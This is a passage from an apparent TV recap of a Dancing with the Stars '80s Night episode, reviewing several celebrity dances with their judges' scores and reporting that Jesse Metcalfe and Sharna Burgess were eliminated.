Nelly and pro Daniella Karagach (Samba): Was I literally cheering from my couch as Nelly performed this samba? Yes! I! Was! Of course, the rapper is far from technically perfect, and parts of this routine were performed so energetically that his and Daniella’s hold got a little wonky. But after weeks of Nelly looking a tad embarrassed to be on the show, it was a pleasure to watch him give it his all in the samba, commanding the choreography with an exuberance and certainty we hadn’t yet seen. Judges’ Score: 24/30

Johnny Weir and pro Britt Stewart (Contemporary): Our already-high expectations for Johnny were set even higher with this contemporary — a style that seemed, on paper, to be perfectly suited for his figure skating background. Well, great news: He slayed it. There aren’t many male contestants this season that possess such musicality, and Johnny used every inch of his body to communicate this number’s heartache and longing. Judges’ Score: 29/30

Nev Schulman and pro Jenna Johnson (Quickstep): It’s appropriate that Nev and Jenna were dancing the quickstep, ’cause my goodness, this dance was fast. Ray Chew Live, did you speed up A-ha’s “Take on Me”? Anyway, despite the imperfect frame that Carrie Ann mentioned, Nev executed this extremely dense choreography with gusto; the quickstep can’t afford to look clunky, and Nev’s energy never seemed to diminish. Judges’ Score: 26/30

And now, the results:

COUPLES IN JEOPARDY
Vernon Davis and pro Peta Murgatroyd
Jesse Metcalfe and pro Sharna Burgess

SAVED BY JUDGES
Vernon Davis and pro Peta Murgatroyd (saved by all three judges)

ELIMINATED
Jesse Metcalfe and pro Sharna Burgess

Now it’s your turn! How do you feel about Jesse and Sharna’s elimination? And who impressed you the most (or least) on ’80s Night? Tell us in the comments!

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